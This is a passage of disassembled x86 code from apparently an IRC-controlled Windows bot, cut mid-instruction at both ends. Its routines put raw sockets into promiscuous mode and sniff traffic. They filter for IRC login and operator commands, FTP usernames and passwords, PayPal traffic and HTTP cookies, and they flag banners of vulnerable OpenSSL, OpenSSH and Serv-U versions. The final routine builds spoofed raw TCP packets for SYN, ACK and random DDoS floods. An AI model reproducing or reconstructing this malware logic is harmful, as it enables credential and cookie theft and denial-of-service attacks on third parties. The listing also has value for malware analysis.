eax push offset a__S_l_Return ; ".».%s.«. (Return)" loc_412A85: ; CODE XREF: sub_4126A7+387j lea eax, [ebp+var_4E0] push eax call sub_41C266 add esp, 0Ch jmp short loc_412AB5 ; --------------------------------------------------------------------------- loc_412A96: ; CODE XREF: sub_4126A7+3D0j lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2E0] push eax push offset a__S_l_ReturnS ; ".».%s.«. (Return) (%s)" loc_412AA6: ; CODE XREF: sub_4126A7+399j lea eax, [ebp+var_4E0] push eax call sub_41C266 add esp, 10h loc_412AB5: ; CODE XREF: sub_4126A7+3EDj sub esp, 98h lea eax, [ebp+var_48] lea esi, [ebp+var_E0] push 26h pop ecx mov edi, esp push eax lea eax, [ebp+var_4E0] rep movsd push eax call sub_4125FC mov [ebp+arg_0], eax push ebx lea eax, [ebp+var_2E0] push 0 push eax call sub_41BF70 add esp, 0ACh lea eax, [ebp+var_4E0] push ebx push 0 push eax call sub_41BF70 add esp, 0Ch jmp short loc_412B32 ; --------------------------------------------------------------------------- loc_412B04: ; CODE XREF: sub_4126A7+39Ej cmp esi, 1 jz short loc_412B1D cmp esi, 3 jz short loc_412B1D cmp esi, 2 jz short loc_412B18 cmp esi, 4 jnz short loc_412B32 loc_412B18: ; CODE XREF: sub_4126A7+46Aj push [ebp+var_4] jmp short loc_412B24 ; --------------------------------------------------------------------------- loc_412B1D: ; CODE XREF: sub_4126A7+460j ; sub_4126A7+465j mov eax, [ebp+var_4] add eax, 7 push eax loc_412B24: ; CODE XREF: sub_4126A7+474j lea eax, [ebp+var_2E0] push eax call sub_41C8A0 pop ecx pop ecx loc_412B32: ; CODE XREF: sub_4126A7+2C9j ; sub_4126A7+2F4j ... add [ebp+var_4], 14h cmp [ebp+var_4], offset dword_436B7C jl loc_41292C cmp [ebp+arg_0], 0 jz loc_412702 push [ebp+var_DC] call sub_40B6D6 pop ecx push 0 call dword_4270D4 ; ExitThread sub_4126A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B61 proc near ; DATA XREF: sub_401ACD+4150o var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_41C500 mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp+var_1C] push esi push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_4CB9D4 ; htons push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AA06 pop ecx push eax call dword_4CBA14 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call dword_4CBA54 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_412C36 call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_43759C push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412C19 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409869 add esp, 14h loc_412C19: ; CODE XREF: sub_412B61+96j lea eax, [ebp+var_2B4] push eax call sub_415D38 push [ebp+var_30] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread loc_412C36: ; CODE XREF: sub_412B61+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_43E91C[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_4CBA00 ; bind cmp eax, 0FFFFFFFFh jnz short loc_412CBB call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_437570 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412C97 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409869 add esp, 14h loc_412C97: ; CODE XREF: sub_412B61+114j lea eax, [ebp+var_2B4] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C ; closesocket push [ebp+var_30] call sub_40B6D6 pop ecx push esi call dword_4270D4 ; ExitThread loc_412CBB: ; CODE XREF: sub_412B61+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_4CB980 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_412D3E call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_437540 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412D1A push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409869 add esp, 14h loc_412D1A: ; CODE XREF: sub_412B61+197j lea eax, [ebp+var_2B4] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C ; closesocket push [ebp+var_30] call sub_40B6D6 pop ecx push esi call dword_4270D4 ; ExitThread loc_412D3E: ; CODE XREF: sub_412B61+177j push ebx mov ebx, offset dword_436C58 loc_412D44: ; CODE XREF: sub_412B61+21Bj ; sub_412B61+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_4CB9EC ; recv cmp eax, 0FFFFFFFFh jz loc_412E71 cmp [ebp+var_102AB], 6 jnz short loc_412D44 mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_412D44 lea eax, [ebp+var_1028C] push offset dword_437534 push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412D44 lea eax, [ebp+var_1028C] push offset dword_437524 push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412D44 mov eax, ebx xor edi, edi test eax, eax jz loc_412D44 mov [ebp+arg_0], ebx loc_412DCD: ; CODE XREF: sub_412B61+287j push eax lea eax, [ebp+var_1028C] push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412DEF inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_412DCD jmp loc_412D44 ; --------------------------------------------------------------------------- loc_412DEF: ; CODE XREF: sub_412B61+27Dj lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_4CB904 ; htons movzx eax, ax push eax push [ebp+var_C] call dword_4CBA60 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, dword_436C6C[eax*8] push off_436C48[eax*4] lea eax, [ebp+var_2B4] push offset dword_4374F0 push 200h push eax call sub_41C360 add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_412E5F push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409869 add esp, 14h loc_412E5F: ; CODE XREF: sub_412B61+2DCj lea eax, [ebp+var_2B4] push eax call sub_415D38 pop ecx jmp loc_412D44 ; --------------------------------------------------------------------------- loc_412E71: ; CODE XREF: sub_412B61+20Ej call dword_4CB968 ; WSAGetLastError push eax push offset dword_4374C4 lea eax, [ebp+var_2B4] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_412EB7 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409869 add esp, 14h loc_412EB7: ; CODE XREF: sub_412B61+334j lea eax, [ebp+var_2B4] push eax call sub_415D38 pop ecx push [ebp+var_4] call dword_4CBA6C ; closesocket push [ebp+var_30] call sub_40B6D6 pop ecx push esi call dword_4270D4 ; ExitThread sub_412B61 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412EDD proc near ; CODE XREF: sub_4131EC+213p ; sub_4131EC+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CE734, eax mov eax, offset dword_4CE734 retn sub_412EDD endp ; =============== S U B R O U T I N E ======================================= sub_412EEC proc near ; CODE XREF: sub_4131EC+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_412F06 loc_412F02: ; CODE XREF: sub_412EEC+29j ; sub_412EEC+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412F06: ; CODE XREF: sub_412EEC+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aJoin_0 ; "JOIN #" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_412F4E loc_412F4A: ; CODE XREF: sub_412EEC+71j ; sub_412EEC+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412F4E: ; CODE XREF: sub_412EEC+5Cj ; DATA XREF: .packed:off_43ACE0o push offset a302_0 ; "302 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a366 ; "366 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login_0 ; ":.login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin_1 ; ":!login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin_0 ; ":!Login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login ; ":.Login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_ident ; ":.ident" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aIdent_0 ; ":!ident" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz loc_412F4A push offset a_hashin ; ":.hashin" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz loc_412F4A push offset aHashin ; ":!hashin" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412EEC endp ; =============== S U B R O U T I N E ======================================= sub_413003 proc near ; CODE XREF: sub_4131EC+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41301D loc_413019: ; CODE XREF: sub_413003+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41301D: ; CODE XREF: sub_413003+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_413019 push offset aOper_0 ; "OPER " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413043 loc_41303F: ; CODE XREF: sub_413003+4Fj ; sub_413003+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413043: ; CODE XREF: sub_413003+3Aj push offset aNick_1 ; "NICK " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aOper ; "oper " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413003 endp ; =============== S U B R O U T I N E ======================================= sub_413079 proc near ; CODE XREF: sub_4131EC+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413093 loc_41308F: ; CODE XREF: sub_413079+29j ; sub_413079+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413093: ; CODE XREF: sub_413079+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41308F push offset aNick_1 ; "NICK " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41308F push offset a220 ; "220 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4130CA loc_4130C6: ; CODE XREF: sub_413079+60j ; sub_413079+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4130CA: ; CODE XREF: sub_413079+4Bj push offset a230 ; "230 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aUser_3 ; "USER " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aPass_1 ; "PASS " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413079 endp ; =============== S U B R O U T I N E ======================================= sub_413100 proc near ; CODE XREF: sub_4131EC+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41311A loc_413116: ; CODE XREF: sub_413100+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41311A: ; CODE XREF: sub_413100+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_413116 push offset aPaypal ; "paypal" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413140 loc_41313C: ; CODE XREF: sub_413100+4Fj ; sub_413100+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413140: ; CODE XREF: sub_413100+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com ; "paypal.com" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aSetCookie ; "Set-Cookie:" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413100 endp ; =============== S U B R O U T I N E ======================================= sub_413187 proc near ; CODE XREF: sub_4131EC:loc_4135B1p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4131A1 loc_41319D: ; CODE XREF: sub_413187+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4131A1: ; CODE XREF: sub_413187+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41319D push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4131C7 loc_4131C3: ; CODE XREF: sub_413187+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4131C7: ; CODE XREF: sub_413187+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4131C3 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413187 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131EC proc near ; DATA XREF: sub_401ACD+42A0o var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CB9E8 ; gethostname lea eax, [ebp+var_3B8] push eax call dword_4CBA58 ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41CD20 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CBA54 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_413292 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_413292: ; CODE XREF: sub_4131EC+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CBA00 ; bind cmp eax, 0FFFFFFFFh jnz short loc_413308 call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_2B8] push offset unk_437870 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4132E4 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h loc_4132E4: ; CODE XREF: sub_4131EC+D6j lea eax, [ebp+var_2B8] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C ; closesocket push [ebp+var_34] call sub_40B6D6 pop ecx push ebx call dword_4270D4 ; ExitThread loc_413308: ; CODE XREF: sub_4131EC+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CB980 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_41338E call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_2B8] push offset unk_437840 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_41336A push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h loc_41336A: ; CODE XREF: sub_4131EC+15Cj lea eax, [ebp+var_2B8] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C ; closesocket push [ebp+var_34] call sub_40B6D6 pop ecx push ebx call dword_4270D4 ; ExitThread loc_41338E: ; CODE XREF: sub_4131EC+13Cj mov esi, 200h loc_413393: ; CODE XREF: sub_4131EC+1D6j ; sub_4131EC+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CB9EC ; recv cmp [ebp+var_113AF], 6 jnz short loc_413393 push [ebp+var_113A4] mov edi, dword_4271CC call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_413393 cmp [ebp+arg_0], 19h jz short loc_413393 cmp edi, 6Eh jz short loc_413393 cmp edi, 19h jz short loc_413393 push [ebp+var_113AC] call sub_412EDD pop ecx push dword ptr [eax] call dword_4271D0 ; inet_ntoa push eax lea eax, [ebp+var_13B8] push offset aS_2 ; "%s" push eax call sub_41C266 push [ebp+var_113A8] call sub_412EDD add esp, 10h push dword ptr [eax] call dword_4271D0 ; inet_ntoa push eax lea eax, [ebp+var_BB8] push offset aS_2 ; "%s" push eax call sub_41C266 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41B9C0 add esp, 10h test eax, eax jle short loc_413491 loc_41345D: ; CODE XREF: sub_4131EC+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_413474 mov byte ptr [eax], 20h loc_413474: ; CODE XREF: sub_4131EC+283j cmp byte ptr [eax], 0Ah jnz short loc_41347C mov byte ptr [eax], 20h loc_41347C: ; CODE XREF: sub_4131EC+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41B9C0 cmp [ebp+var_4], eax pop ecx jl short loc_41345D loc_413491: ; CODE XREF: sub_4131EC+26Fj cmp [ebp+arg_0], 50h jz loc_413544 cmp edi, 50h jz loc_413544 lea eax, [ebp+var_1138C] push eax call sub_412EEC test al, al pop ecx jz short loc_4134D8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43780C jmp loc_413573 ; --------------------------------------------------------------------------- loc_4134D8: ; CODE XREF: sub_4131EC+2C7j cmp edi, 50h jz short loc_413544 lea eax, [ebp+var_1138C] push eax call sub_413003 test al, al pop ecx jz short loc_41350E lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377D8 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_41350E: ; CODE XREF: sub_4131EC+300j cmp edi, 50h jz short loc_413544 lea eax, [ebp+var_1138C] push eax call sub_413079 test al, al pop ecx jz short loc_413544 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377A4 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_413544: ; CODE XREF: sub_4131EC+2A9j ; sub_4131EC+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_413100 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_4135B1 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_43776C loc_413573: ; CODE XREF: sub_4131EC+2E7j ; sub_4131EC+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41C360 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_413393 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h jmp loc_413393 ; --------------------------------------------------------------------------- loc_4135B1: ; CODE XREF: sub_4131EC+36Ej call sub_413187 test al, al pop ecx jz loc_413393 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_437734 jmp short loc_413573 sub_4131EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4135DF proc near ; DATA XREF: sub_401ACD+6464o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4139CB add esp, 14h push eax lea eax, [ebp+var_494] push offset unk_43789C push eax call sub_41C266 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_413672 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_409869 add esp, 14h loc_413672: ; CODE XREF: sub_4135DF+71j lea eax, [ebp+var_494] push eax call sub_415D38 push [ebp+var_290] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread pop edi pop esi sub_4135DF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413694 proc near ; CODE XREF: sub_4139CB+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB944 ; WSAStartup test eax, eax jz short loc_4136D4 xor eax, eax jmp loc_4139C7 ; --------------------------------------------------------------------------- loc_4136D4: ; CODE XREF: sub_413694+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA78 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4139BF push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CB9B4 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4139B5 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CB9D4 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CB9D4 ; htons push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CB9D4 ; htons mov [ebp+var_12], ax call sub_41C2C2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CB9D4 ; htons push 12345678h mov [ebp+var_14], ax call dword_4CB9D0 ; htonl push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137A4 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137A4: ; CODE XREF: sub_413694+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137C0 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137C0: ; CODE XREF: sub_413694+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137F8 call sub_41C2C2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41C2C2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_4137F8: ; CODE XREF: sub_413694+10Ej ; sub_413694+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CB9D4 ; htons mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call dword_42713C ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call dword_427138 ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41DB20 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_413846: ; CODE XREF: sub_413694+2E2j ; sub_413694+2F0j mov [ebp+var_4], bx call sub_41C2C2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9D4 ; htons mov [ebp+var_14], ax call sub_41C2C2 mov edi, eax shl edi, 10h call sub_41C2C2 or edi, eax push edi call dword_4CB9D4 ; htons movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9D0 ; htonl mov [ebp+var_28], eax mov eax, 